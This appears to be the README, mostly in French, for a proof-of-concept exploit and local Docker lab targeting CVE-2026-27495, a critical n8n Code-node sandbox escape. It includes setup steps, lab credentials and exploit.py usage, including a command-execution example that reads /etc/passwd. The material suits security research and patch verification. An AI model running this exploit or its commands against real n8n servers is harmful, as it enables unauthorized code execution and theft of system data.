
Proof-of-concept exploit and lab environment for CVE-2026-27495
Échappement du bac à sable du n8n JavaScript Task Runner via une fuite d'objet host-realm.
| CVE | CVE-2026-27495 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-94 — Code Injection |
| Affecté | n8n < 1.123.22 / 2.0.0–2.9.2 / 2.10.0 |
| Corrigé | 1.123.22 / 2.9.3 / 2.10.1 |
| Surface d'attaque | Code node (authenticated, Task Runners enabled) |
docker compose up -d
Attendez environ 15 secondes que n8n démarre, puis ouvrez http://localhost:5678 et créez un compte propriétaire (email : [email protected], mot de passe : TestPassword123!).
pip install requests
Tester l'échappement du bac à sable :
python3 exploit.py --probe
RCE — décommentez NODE_FUNCTION_ALLOW_BUILTIN=* dans docker-compose.yml, puis redémarrez :
docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"
Configuration initiale (crée automatiquement le compte propriétaire) :
python3 exploit.py --setup --probe
Options:
--url URL URL de base de n8n (par défaut : http://localhost:5678)
--email EMAIL Email de connexion (par défaut : [email protected])
--password PASSWORD Mot de passe de connexion
--cmd CMD Commande système à exécuter (RCE)
--setup Créer un compte propriétaire (instance vierge)
--probe Tester l'échappement du bac à sable uniquement (pas de RCE, fonctionne avec n'importe quelle configuration)
--proxy PROXY Proxy HTTP (ex. : http://127.0.0.1:8080)
Uniquement à des fins de recherche en sécurité autorisée et d'éducation.